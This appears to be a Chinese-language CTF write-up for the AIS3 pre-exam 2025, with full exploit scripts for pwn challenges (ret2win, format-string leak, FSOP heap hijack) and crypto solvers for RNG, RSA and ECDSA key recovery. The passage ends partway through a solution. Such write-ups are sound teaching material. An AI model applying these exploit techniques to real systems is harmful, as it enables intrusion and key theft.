Skip to main content

AIS3 pre-exam 2025 writeup

·18 mins· loading · loading · ·
hokak
Author
hokak
need more sleep
Table of Contents

前言
#

image
被打爛了QQ

Misc
#

Welcome
#

image

這題太難了,我花了大概14小時才解出來

image

這題因為黑魔法導致不能用ctrl+c, ctrl+v
所以要用手打字

Ramen CTF
#

旁邊的QR code掃一下

MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉

稍微分段一下

發票號碼: MF16879911
日期: 1140413
隨機碼: 7095

不知道: 000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉

image
image

點的食物是其中一個

image

google地圖上的名稱叫做樂山溫泉拉麵

flag就出來了

AIS3 Tiny Server - Web / Misc
#

總之先試試看path traversal

image

然後我那時候誤打誤撞就弄出這個東西了

image

然後就得到flag了

Web
#

Tomorin db 🐧
#

image
本來想說試個path traversal然後flag就噴出來了
我不是web狗不清楚原理:P

Pwn
#

Welcome to the World of Ave Mujica🌙
#

image
雖然他這裡看起來有在限制輸入大小,但回傳值被強制轉型成unsigned int
如果傳-1的話就可以得到0xffffffff大小的值

其他就是ret2win,exploit會解釋一切

from pwn import *

REMOTE = sys.argv[1] if len(sys.argv) >= 2 and sys.argv[1] != '0' else 0
DEBUG = sys.argv[2] if len(sys.argv) >= 3 and sys.argv[2] != '0' else 0

context.arch = "amd64"


print(f"REMOTE: {bool(REMOTE)}")
print(f"DEBUG: {bool(DEBUG)}")

if bool(DEBUG):
    context.log_level = "debug"

if bool(REMOTE):
    io = remote('chals1.ais3.org',60865)
else:
    context.terminal = ['tmux', 'splitw', '-h']
    io = process('./chal')
    gdb.attach(io)

win = 0x000000000040125E
io.sendline(b'yes')
io.send(b'-1')

print(1)
io.sendline(b'aaaaaaaa' * 0x15 + b'a' * 2+ p64(win))
io.interactive()

'''
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._ed72c47695dcb5a22911f672ef5d8ffa}
'''

Format Number
#

strcpy(buffer, "Format number : %3$");
strcat(buffer, format);
strcat(buffer, "d\n");
printf(buffer, "Welcome", "~~~", number);

輸入限制為數字、符號only
所以不能打出%6$p之類的payload

但可以利用後面strcat貼的"d\n"
構造類似送出,%6$ 就可以得到長得像"%3$,%6$d"的payload
而6可以改成任何數字,於是得到任意讀stack的exploit

from pwn import *
from tqdm import trange

REMOTE = sys.argv[1] if len(sys.argv) >= 2 and sys.argv[1] != '0' else 0
DEBUG = sys.argv[2] if len(sys.argv) >= 3 and sys.argv[2] != '0' else 0

context.arch = "amd64"

# libc=ELF(?)

print(f"REMOTE: {bool(REMOTE)}")
print(f"DEBUG: {bool(DEBUG)}")

rcv = b''

for i in trange(100):
    if bool(DEBUG):
        context.log_level = "debug"
    if bool(REMOTE):
        io = remote('chals1.ais3.org',50960)
    else:
        context.terminal = ['tmux', 'splitw', '-h']
        io = process('./chal')
    context.log_level = "error"
    io.sendline(f",%{i}$".encode())
    io.recvuntil(b'Format number : %,')
    try:
        dt = int(io.recvline().strip().decode())
        rcv += bytes([dt])
    except:
        pass
    io.close()
    
print(rcv)

dist-schedule-alpha
#

struct schedule{
    char title[0x16];
    std::string content;
};
puts("MyGO @ sched title > ");
std::cin >> sched->title;
puts("MyGO @ sched content > ");
std::cin >> sched->content;

AAW
#

cin » sched->title 會overflow,可以蓋到sched->content的address
AAW get!!!

leak libc
#

把sched->content的address蓋到0x4042c0就能夠同時寫SCHEDULE_STATUSschedule* sched

然後把schedule* sched寫到有libc+offset的地方

show()就能把上面的東西印出來

image

弄一個假的 IO_FILE
#

參考這篇 https://tttang.com/archive/1845/
我把file蓋在0x4042e0

from pwn import *

REMOTE = sys.argv[1] if len(sys.argv) >= 2 and sys.argv[1] != '0' else 0
DEBUG = sys.argv[2] if len(sys.argv) >= 3 and sys.argv[2] != '0' else 0

context.arch = "amd64"
libc=ELF(b'/lib/x86_64-linux-gnu/libc.so.6')

print(f"REMOTE: {bool(REMOTE)}")
print(f"DEBUG: {bool(DEBUG)}")

if bool(DEBUG):
    context.log_level = "debug"

if bool(REMOTE):
    io = remote('chals1.ais3.org',51000)
else:
    context.terminal = ['tmux', 'splitw', '-h']
    io = process('./chal_dbg_patched')
    gdb.attach(io)

io.sendlineafter(b'Username > ', b'MyGO!!!!!')
io.sendlineafter(b'Password > ', b'TomorinIsCute')

'''
while(1){
    menu();
    choice = get_choice();
    if (choice == 1){
        create();
    } else if (choice == 2){
        edit_title();
    } else if (choice == 3){
        edit_content();
    } else if (choice == 4){
        show();
    } else {
        break;
    }
{
        
'''

def create(title, content):
    io.sendlineafter(b'< MyGO @ ScheduleManager $ > ', b'1')
    io.sendlineafter(b'MyGO @ sched title > ', title)
    io.sendlineafter(b'MyGO @ sched content > ', content)
    
def edit_title(title):
    io.sendlineafter(b'< MyGO @ ScheduleManager $ > ', b'2')
    io.sendlineafter(b'MyGO @ sched title > ', title)
    
def edit_content(content):
    io.sendlineafter(b'< MyGO @ ScheduleManager $ > ', b'3')
    io.sendlineafter(b'MyGO @ sched content > ', content)
    
def show():
    io.sendlineafter(b'< MyGO @ ScheduleManager $ > ', b'4')

win_addr = 0x4013EC



create(b'a' * 0x18 + p64(0x4042c0) + b'a' * 0x18, p64(1) + p64(0x4042a0))
show()
io.recvuntil(b'MyGO @ Title : ')
leak = io.recvline().strip()
leak = u64(leak[-6:] + b'\0\0')
libc.address = leak - 0x4537c0
success("libc -> " + hex(libc.address))
edit_title(p64(leak) + p64(leak-0x70) + p64(leak-0x60) + p64(0x4042c0) + p64(0) + p64(0x4042a0) )



writeend_offset = 0x30
writeptr_offset = 0x28
vtable_offset = 0xd8
next_free_offset = 0x18 
chunk_limit_offset = 0x20
caller_offset = 0x38
caller_arg_offset = 0x48
use_arg_offset = 0x50
fake_obstack_offset = 0xe0

fake_file_addr = 0x00000000004042e0 

_IO_obstack_jumps = libc.sym['_IO_file_jumps']-0x240
fake_file = flat({
    writeptr_offset: 1,
    writeend_offset: 0,
    next_free_offset: 1,
    chunk_limit_offset: 0,
    fake_obstack_offset: p64(fake_file_addr),
    vtable_offset: _IO_obstack_jumps + 0x20 ,
    caller_offset: win_addr,
    use_arg_offset: 1
}, length=0x100, filler = b'\x00')

success('_IO_file_jumps -> ' + hex(libc.sym['_IO_file_jumps']))
success('_IO_list_all -> ' +hex(libc.sym['_IO_list_all']))

create(b'b' * 0x18 + p64(0x4042c0) + b'b' * 0x18, p64(0) +  p64(0x4042c0) + b'a' * 0x10 + fake_file)
edit_title(p64(0) + p64(0x4042a0) )
create(b'c' * 0x10 , b'c' * 0x10)
edit_title(b'd' * 0x18 + p64(libc.sym['_IO_list_all'] - 0x10))
edit_content( b't' * 0x10 + p64(fake_file_addr))
io.sendlineafter(b'< MyGO @ ScheduleManager $ > ', b'5')

io.interactive()

但大家好像都用libc的got :( 我是小丑

Crypto
#

今年AI變太強,大家用AI解,然後分數一直貶QQ

stream
#

source code

from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)

for i in range(80):
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))
sha512(os.urandom(True)).digest()

只會有256種結果,可以窮舉

hex(int.from_bytes(a)^b**2)

我們可以透過xor過後是不是完全平方數來判斷xor的key是否正確
這邊可以用gmpy2的iroot來判斷

然後submit 624 bits的random number就可以預測下一個

from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack
from tqdm import trange
from gmpy2 import iroot
from hashlib import *
from base64 import *
import json

noice = [
0x3ab2da84cc847a12a5462e9a31137e3b0c5f7018900a3db69b7aa2d41b0f1e40478938272c5d85c7c936f4f6cdafdb8687c8799a88f6c464afd2807714da68bf,
0xadbbc76078f7acb63fdf07d62b3bd94fe3e6930f564d00be80524128815497175f2486688cfb9ce6dd2eb9b2eb1e51b525b3585d0346681c149f1572cb79e3f5,
0x86afb3b73732fe0ebd38cc5769af4fac9e31427b741f33e1c327515ef2cfee3ade47961635b7eaa110dc0d877e5c46936de7bff8be2aa2daa3fba5def6579831,
0xe112d5bea5cadc936a2dd0c85ae67658f7f87b3dc13f8ab755554f079217ce7ea41efaca530eaf0e088cb88637fa2b8cf29a723356f075327d1576f7091b448b,
0x1d3185626f99b7550d5fd19a7bcb4f8de74698f81f296c775bc9c15285450e967420f3801b6461f3b15ce2086f5879e9a9e121d541018f002c9ed0d05942dd63,
0x84f2e94b23070c6161d9e6e0f6dbb7faa42ab7928e4978a43e6ef493c9901dc43a81eacb54bcb05d34e46cf4287f2178b71eb49004d43762f7c3484bf02a6447,
0xe9566fe150a99727b17288c779f46f3baadd56695ab5eb35d4c886e125ce64bebe78603b66dd22d88f555d2c8cae383589b83f546a4c3a7ce686cb315f5bd3f8,
0xa9a0389d8df00c0d23cd66dd79e828c3148fbad59491b4398b0cea3b157369bf9d3e70e2e3067a03fc6f86bb34ff49ce9e3a870e32dbc467bf99d1bccde17b08,
0x2067e2d0636d2dbbed9c4e7fd25c3cfa37b09906259cdff7cf445d43a64bbddf7fd5cbf1ac8ba160b503286b68ba80ead84c5164506efef8936b546ce8683307,
0xa347e78fc8d94918647efbff87d845d5a68784711da14d1c2a88ad75fdb58ce61d58f5942dc6660fed59e3e77f5654b904a06fd6621a512092d92fe741e989f2,
0x87d343e401be8f8092166341573765195ddb664c979e95b02b152608aa1916ae227f0656355aa6890ac4a7358c29489e5f6eda7afd877c4408acf33519119a95,
0xd4b764ec5869c0ada5a12151baa9154f71b9b7a6d354841a2032601d645ef2d9189bf6f13733dabb15e2ff868e13d346eececd9505ab79ca38e69cc105652e26,
0x7c97c99c7d28d4be27bb396ed8c56f5c7fa9ba193d13242df920f778e56d8d16e82a83dc9285955383d99920937da0ba2774db5272479f9a9c65c909baac2585,
0x6f8031caf05f0c26cf256b6a9e0c539cd633091a5e1ca5eeb91eceb161554f172c3de0f25cc0fd18a8bec2949adecf26d178cd0c03a961710487d56bd99b7156,
0xae1a117315554766302df767573c064d701f59159fb6e1f7141b06cf9b54f598fd0d1a8d21a9824b2be02f8d50914afac459b6f56f6436787508a350849b9df3,
0xe7e67533f4cbe2bd47f94e612e90adb557957fcf3cdf6fe8f14df741a031ebf630bf6fe80db8217b5fb6c58d069dbcba211f9e1e23b8c2870cc3861d54486d98,
0xd263aa7b9db645ec0a010b3f96aeac5dc9a5a5e47e05a8f4b73de480a4433e1829494cac74ea088957244f1fcfbea18a69ed15f3ea4b560abbee194ad4ef498d,
0x46513dfeb51a7319b7aed4ed4a189fafa2da0cdb3e238939a7425dcc073042c13e34ad37cf4100a8ec8c6b8caf293e0d75832643b416ca00ecebc480859041e7,
0x2747f354aaf1f9dff32533554386dff095eded2695a69cdcd45ceab5c3e49391d2fe2733446cffcc9e50dbf432ef5caeeb9d15ec044691b2ccfb2fe9fab2ca6,
0x5ae6a1b63447875395db12f57769eb456033c707867c545acf99c1d5d24e156e37482e383af373ae73b6241a6bc8952360584bbe588d62fd767eef2dfc285b60,
0x2064b0afba99fa1fc5acf4430079bfd02f2c72617b59e1f1a2a0f7b4c4202b55f9426fd3d942ce4d1a1cd600f0320bc657d9cbafaecf54505c148714c24c94de,
0xd89b90cb28b7184e5e979927280fa3fc4f01639116e9b349207578f5c6cbc099ce8e428666fc625b798a649ac5f485ff7ba7e6cfba64fc870d1d83ae92e69187,
0x37cafd0d2869764df3cccd1b085ca808f2a0528005fab139d89d159aeb981251afb3095ce1b5d7b64787698df79ecc994dd133a0904794b6c8daf4c321892854,
0x2e9752a44c20907d8d700aa0cccb9ef8443669f092879b93799073518ba48941272df651a61a6fab9f568199660f8e30833cb7204b22d2cd619cd3ac4ab31b71,
0xb572d23e92df1287034aac9243430cb2736bc4682b6c007b1eb13799078af0aa99c115a4668ba86929c60ee1b2dc076899c75caecd2e6ba586ce67c8e946859b,
0x76faaa77020e30bdbadafa012c6e0d226cbacf7484d36d034288e6e3c5b85df1f3d3a61cf1feaf98db83e5f9d4aba838334c6c2ae3487db3dd98a6a43b70f481,
0x7db1cfa5f512c6038f6fe7f5899caada064afd461276919fd028f2c908359ecc4f949ead8e334e2751f0b8c33b077c1d9f5a0c8d953e405eba2aa91ca1c3db08,
0xc61000b50d6322307101939f2497a6449300f5a31b5d58f1b3e7d950fb9192de0c9b870be23c5cbb2bb550dda01d87bdc3f0e1a2866b408db867e8123935cc10,
0xf32100d74bed26878f0200f326efc3ebc05310168557fc13dd37f289d0379106ab9d5c4450446b375b0202d1ee38e1a03f8404150d5cfa427fce6a21eea7f76a,
0xdf1f0194a4408fcae290d14c8f9e202b88c38698a376048dad8abcdb6b5419b7e222d48400d47290acd7e6a53850cb588f7e4f767d15b96f3e7dfe8320645783,
0x14fbc427e4688b30b63bb4d09e573fd8d282d259cd6ad77c7c527cc82e698c9bc9235314a57d6a23890234b4c9a33d658be33972a671717940157de1598c914b,
0xc5caedf9a5144d2e15d7ec308bdd40516aaaffcfedc24a6f3113ca3e1f3028bd8dd2726cea593b1386622c073ba80ac8bad790c3ec8917c386b78270c0ce9759,
0xd97838b4e488c3fffe6e048097642259885d05d570c586c73ea3375c5ef1600a926cb9c42d8e8bab10b7cdd2ccc646e9c781cce8a5d9f795e3c674afd1201ece,
0x64b1888acf279c92082310b73294f743ed68c9d31ddd8093ef2c9b496f4aba095cb1ea749b66f453c2f064a683ef51b74174e05c5a290a8c5ade7eb09485b83b,
0xcb43a37eb4b441e57f67d640322514b94799de063974341b44e0cc8cf0c11de55212767aef9922b160033cd4782a38c19d18f16c103244c2460c10674d8c3692,
0x6647015e60ab13f33eb4062d23957b7a896649b4455955b403d7fb0d734933ec7d90104acff9c1c9ad44ec96896468e80b7624f1d9f5e8f610a9363090ca5dcf,
0xf4edc02162b79c3a076896524bdcfcf01ce9723f0dfc3b75c0223ea204904cf1d46909cc31e7af972e101d29f04ff6073a6800782c932c5780bbc45925b3a338,
0x71f3a9b923fd806cd3fcfb032e7bb4dbe155f71988a44dca4bdef9920d078499d45e4846689d955e73a4ae9a7940e3a307baddfb3cc5ba14cabfca386b0fbb97,
0x56378186708447e83a5a5fe951555eedbfd974936a1696acbf8bed6f3c302ffa0a5bf4ca6f497418ce5bdaee60adaccff721cb21fd03f64f3d147fc5884b5b63,
0xdd9d3ba2a9f3017172fb52822e9e3b171e8923c443284623e60f07c27f5d8ceb171b44a02b8df16afb1eeed39049903b81fbdaf1abdda0fbdfc861b1e13e58d4,
0xef96e850fb5e825092208779ee67b5f10928c1033d9d1ff88c9fd9f90159629c83551e3dab6eb18a8e7eb8e00231fdd51b28cfdd7943324d94fcb47c9960560e,
0x1a7facf00ec52eb0520af7ee61744a480ba994b9dc8a631573b2333b51c669a8a23296bd38cc51473418e727e475d3c07a9ded0e1f9eb2c05fccc96135fa9a1b,
0x273b0412a9350581b0c7ac60d52b6dc1981fe95fd25eed6c863855c8900cad01f617b507c53b6956c751413158aca2d16980108f0a32068dc2dfede848c27e26,
0xdaf1d899a1f7549d4d9ec6eea5567d30c81479dcdb5e4b06d19dbdc89044cb4b4ef5acce70ccd147094c288e42a3724a7b6d58dc8079342e535b241d230a8bdb,
0xcad775db8d48719aa8f1fbf61286205c01371a289b9d40e757b5d3dfa316a2497299b1b74b59d187d2c9a9bbc0065fd7c8b72833c94677edcf2e23509bf90b02,
0xbd1a4647fb9e06f438940481ef10569e8dd91b1ec57e4f2ef6a985bafc67599756f000b53af4d9b1188b68671ebbcb752ebcb93f7e06400202f6373162cbb9c5,
0xfd61125e1564f8bf0c8b79975d1d2cb4349e8074741dc1585778bd65118e3082451d2f751249f715f7366bcec3e565253b8632e8f0bf31e3d1c76ee9b3a9aba6,
0xfadf0f2aef8fd73aded670c064d7289bb0244400552fecb0af8ef0218a83934400f76c0fdd764b03009ba0fafab5b4d0b24ff865dac7d862c85c752fcfb7bb01,
0xa5ad23b6043ccb4c62381e7f90f96560c39a81fe5864e6add17f24bedff0c269a4a7ca985bdcb70bd85ad23fdb55b442f35a8c787d9b5c77487c914f1a86073b,
0x9e0d1dfd6ab52906d990ff0271a5c43c0a51b11eb750bfe5576f7574324bb5327f613812b206bda824a845cd16284d479cebb446f2d9d913b156ae261e8e755b,
0xcb32f70522b40098fad93f25d80ef3829cae48ef29ccd4536e7e34119b88cd695366b862c8f4ba2e4bda37e63d05a0c85e68800a21d0ec9d79c978dab0d2260,
0x2c236cd72a56fb25bf22e8c50c5558a717397a8e6d2d64e27695afa0f4d1594b861262c5c77acd031ce165136252abab8827b385353af14a16796b3be139881d,
0x58e1a38f36c0cdfa3816773901dbffb3bb44964ee4d46d593ea63929330e56883ea9f841a7ef7bb94dfd60b1ba7fd4dac1812f9333c54bcd22b9225f53503b2e,
0xfb4d26c48c94c48b58376fb50503d083a37edfdefa41f337e4dfa84ba193a4f4354caeb564ee2d621ed5816b15c07ad74b80ecaca8e894070304d34c82c1bf57,
0x81d6801a3e662af7e162a9e56684b33a6cf06f58c1f96875979dc5be50e4ed37e6488d184466af709266736753dc83c7fc1ff47e759075b16c150c5d5da2f509,
0x8a4667c3c7d80ad0724da4890f1dcc220181241828dc0267c1bddf33a270a2600bd45fb7ff34e3aca03237bd7b5e15afb5bcc5b02a0ac9381479ecf5d15cb5d5,
0xa96bfce019b64e761f64b65787db87f44225a11f8875b27e583f57df1e0a861a4d30aa9798aec50e961580fcf5c42e7c8fad2df82e87fb113f130ac723b94308,
0x97444773e742e042f13f76419ea1de450984c95974a5540fb95785fb87465eec3cb6df6ef4468303f9c5d1fb0be7b7e77beee5268a95050f7a8fcd9a41fa98d5,
0xef885b3c2e23cfac6b212c3b27b76d44a1df304630e7ed64d1ccf46cf13d403188aade2116b731976d857c9f18e91113ceefc20072ac4bff27973ee8acde0c90,
0xbbc066631aa2ae3cabd5e881c0a6d63d009e63d02f2838e10b0e69de0eb97c9c7dd5290e7b11be2c76a6a01506a8585c66d85ea654607cbaf8631645ea38cc88,
0xe7359109062cd0afa3a6f0abcc9f1c50585a612bfadf9e269566217ebdd2a1709525f50bc25dbde2c1f2379630204b90c4597326dfda75de097ab2541dc38628,
0x1d79beee7a6ce0816c8f71ef63ea49499eebd65a83d08d02e71f66351eaac8c3feec506845633e2b9fd68a39f6b410ca76dabd4060b01e83f9b9c16d6bcc6493,
0xaff3235d4d594d1b97043e0e581c3d01dae1c81cea09e27b188babb754af3e92e8d10e8cf12d651955b6947667ce433c9c0adc4c50d4d76ea9f6aa4b3aaf2640,
0xe9331ca2c86271ccad079af466e374d6a37fda372802ed6d221d146a8bf9b7326345086798912b3d127ac5339e52b86e24a525ca1102d590a3be2103f00a6f1f,
0x8d2e55db65273f37a332c9fc093f9e994f9b90d8404a079f2ef7f6e0e50cde784e75892fbd8c913702881fb2e3e42e85a864279b54b016315a9adf0fcf7b564f,
0xc345c28ace3881e64e2e1ae95243525e02899aac91144566128c18f02fbdb298695b8e5a6cdd7b05f63dafd29510c72d86b7f24e066e5afe5325e39b4fd53940,
0x85e5455187588113897ef2e0fd12dd45c4efaa194151bab00fb59d0d5d985d53b5448d4a6805a61a83f06c31c0813b02e5b17344e528fbbfa49213f2649cef85,
0xffe7040129e4dfc76b2fd07d4c4d4e111ab0845df2eecb5b911b29a4b5bf4f29afd9c68412880a33df31df25d38cd5961051c29a12b9de53e3d063509fd6cea5,
0xd9eab537bd368ba6a9852477cdf5259d0620153ca955f11732cc893ff80a75f1f74504a734309e640136c0838a5bb4b4d06f03cad3d73f2f643120a037e39f3e,
0x6b28f04074b7f6a851adf204200fca8243e2320187a741bf96fe84ca8c24ffbbdd01e081e3b3339ea6bdf985c236c0e9b2cf04f325ae5e9e4dcdf2358921de2c,
0xf5f790d884bc2d0fc09aeb2b3fcbf09a822b103cfb4d94d766aea164e9bfad66fb8f1b2e444c51654c5e5929c987e83d86c870da98a556daa8bedecad880dd3d,
0xf0fbe914507735a5276d18915fd9ceca3131751f127ebfc1c702b48a88a380da3d6f3ea0f11b4ef29a74e30e453055709f4b72ad9544a416e943f86922c94756,
0xbf1a577e6d058e889b889f38956c9193fa4e05b6f90710ab9b1c874148eb1e20af7f94bd89e55a3746632e7494455f514b5da4b7668320f2944397c649a909e1,
0x7448eaa76b77f33c797851bc7d286aa8ae6219dfc4e19e10c67eb3208cc83ddbf69fc2437402aa5dea24575d8f483773a43cc6ac43b2877af963b20bad69db62,
0x4e083b89f70ccc4aecb66cea0727495fc66e969740b75773decc78600a699c38d53135f1a74b6b482f8dfea17b73bce4a9acdfdefc5c5eec4d5c2c70104bec23,
0x5afa4ad4ed1fc420b7197628a0f6a0f217e35df0271ab479e6da81a89a98bf3ab99824cbcd25cfa70ad519892bf1732cd9d6531b674e6d74a29a50536a9367ca,
0x43bbb59ba1e81e008cbf7b11fdc9f9d67bd9fb38326506677ce60a433e04d263842eda67fa4f1e3976c313d10f7e10787756b2d8c50b18a79364ece618673cf6,
0x72d50bce515d48c9bbdf37ef81be93ddc742fc92880ac9c9307cc2a09ba83e1510d5f1c860beae1a62c1123490cc20a12993ca9a13410381cc17e453a03423a7,
0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694]

hashed_byte = []

for i in range(0x100):
    hashed_byte.append(bytes_to_long(sha512(bytes([i])).digest()))


rc = RandCrack()

for xored in noice:
    for h in hashed_byte:
        rd = h ^ xored
        if iroot(rd, 2)[1]:
            rd = iroot(rd, 2)[0]
            for shift in range(8):
                chk = (rd >> (32 * shift)) & 0xffffffff
                rc.submit(chk)

key = rc.predict_getrandbits(256)
xored_flag = 0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694
plain = xored_flag ^ (key**2)


print(long_to_bytes(plain))

Happy Happy Factoring
#

就考你費馬分解、Pollard’s p-1 algorithm、Williams’s p + 1 algorithm

# pylint: disable = C0103, W0105
import typing

import gmpy2
import tqdm
from Crypto.Util.number import GCD, isPrime


def fermat(n: int) -> tuple[int, int]:
    a = gmpy2.isqrt(n) + 1
    b = a ** 2 - n
    while not gmpy2.iroot(b, 2)[1]:
        a += 1
        b = a ** 2 - n
    b = gmpy2.iroot(b, 2)[0]
    return (a + b, a - b)


def pollard(n: int) -> int:
    a, b = 2, 2
    while True:
        a = pow(a, b, n)
        p = GCD(a - 1, n)
        if 1 < p < n:
            return p
        b += 1


def williams(n: int, *, B: int | None = None) -> int:
    """B is the largest prime of the factors of p + 1 or p - 1"""
    def gen_prime() -> typing.Generator[int, None, None]:
        yield 3
        i = 5
        while True:
            if isPrime(i):
                yield i
            if isPrime(i + 2):
                yield i + 2
            i += 6

    def mlucas(b: int, k: int) -> int:
        """It returns k-th V(b, 1)"""
        v1, v2 = b % n, (b ** 2 - 2) % n
        for bit in bin(k)[3:]:
            if int(bit):
                v1, v2 = (v1 * v2 - b) % n, (v2 ** 2 - 2) % n
            else:
                v1, v2 = (v1 ** 2 - 2) % n, (v1 * v2 - b) % n
        return v1

    B = B or int(gmpy2.isqrt(n))
    for A in tqdm.tqdm(gen_prime(), disable=True):
        v = A
        for i in tqdm.trange(1, B + 1, desc=f"A={A}"):
            v = mlucas(v, i)
            g = GCD(v - 2, n)
            if g > 1:
                return g

# from https://github.com/killua4564/Crypto-pyfile/blob/main/factorization.py


n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
N = n
e = 65537
C = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991

wi = williams(n, B = 10000)
n //= wi
po = pollard(n)
n //= po ** 2
fp, fq= fermat(n)

from Crypto.Util.number import *

phi = (wi - 1) * (po - 1) * (po) * (fp - 1) * (fq - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(C, d, N)))

SlowECDSA
#

$k = random$ $k_2 = ak + b$

我們知道
$s = k^{-1}(h+dr) \pmod n$
所以這邊可以假設收到的前組r、s有這樣的關係,而k並不是完全隨機

\begin{align} k = s_1^{-1}h + s_1^{-1}dr_1 \pmod n\ ak + b = s_2^{-1}h + s_2^{-1}dr_2 \pmod n \end{align}

因為$a、b、r_1、r_2、s_1、s_2、h、n$已知
所以就變成一個聯立方程式,未知數為$k、d$
為了整理係數,我們把兩組方程式移項:

\begin{align} k - s_1^{-1}dr_1 - s_1^{-1}h = 0 \pmod n\ ak - s_2^{-1}dr_2 - s_2^{-1}h + b = 0 \pmod n \end{align}

接下來就可以丟進sage解了

from Crypto.Util.number import *
from pwn import *
from hashlib import sha1
from sage.all import *

n = 0xFFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831
F = GF(n)
R = PolynomialRing(F, names=('k', 'd'))  
k, d = R.gens()

a, b = 1103515245, 12345

io = remote("chals1.ais3.org", 19000)
message_hash = bytes_to_long(sha1(b'example_msg').digest())

def rng(x, y):
    for _ in range(y):
        x = x*a + b
    return x

sigs = []
for i in range(2):
    io.sendlineafter(b'Enter option: ', b'get_example')
    io.recvuntil(b'r: ')
    r = int(io.recvline().strip(), 16)
    io.recvuntil(b's: ')
    s = int(io.recvline().strip(), 16)
    sigs.append([message_hash, r, s])

P = []
for i, sig in enumerate(sigs):
    h, r, s = sig
    inv_s = pow(s, -1, n)
    P.append(inv_s * h + inv_s * d * r - rng(k, i))

M = Matrix(F, [
    [Pp.coefficient({k:1, d:0}), Pp.coefficient({k:0, d:1})]
    for Pp in P
])

V = Matrix(F, len(P), 1, [-Pp.coefficient({k:0, d:0}) for Pp in P])

sol = M.solve_right(V)
k = Integer(sol[0][0])
d = Integer(sol[1][0])

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
K = GF(p)
a = K(0xfffffffffffffffffffffffffffffffefffffffffffffffc)
b = K(0x64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1)
E = EllipticCurve(K, (a, b))
G = E(0x188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012, 0x07192b95ffc8da78631011ed6b24cdd573f977a11e794811)


h = int(sha1(b'give_me_flag').hexdigest(), 16) % n
k = 101

R = k * G
r = Integer(R[0]) % n


k_inv = inverse_mod(k, n)
s = (k_inv * (h + d * r)) % n


print(r, s)

io.sendlineafter(b"Enter option: ", b'verify')
io.sendlineafter(b'Enter message: ', b'give_me_flag')
io.sendlineafter(b"Enter r (hex): ", str(hex(r)).encode())
io.sendlineafter(b"Enter s (hex): ", str(hex(s)).encode())
io.interactive()

Random_RSA
#

設LCG:
$f(x) = ax+b \pmod M$

先拿到$a, b$

$h_0 = f(s) = as+b \pmod M$ $h_1 = f(h_0) = a^2s+ab+b \pmod M$ $h_2 = f(h_1) = a^3s+a^2b+ab+b \pmod M$

$\Rightarrow$

$a = \frac{h_2 - h_1}{h_1 - h_0} = \frac{a^3s}{a^2s} \pmod M$ $b = h_1 - ah_0 = (a^2s+ab+b) - (a^2s+ab)$

然後嘗試分解
$n = pq$ 其中
$q = f^{(t)}(p)=a^tp + b \cdot \frac{a^n-1}{a-1} \pmod{M}$ $t=第幾次$
如果我們把$n模M$
$n=p(a^tp+b \cdot \frac{a^n-1}{a-1})=a^tp^2 + b \cdot\frac{a^n-1}{a-1}p \pmod M$

from Crypto.Util.number import *
from gmpy2 import is_prime, iroot
from tqdm import trange
from sage.all import *

h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
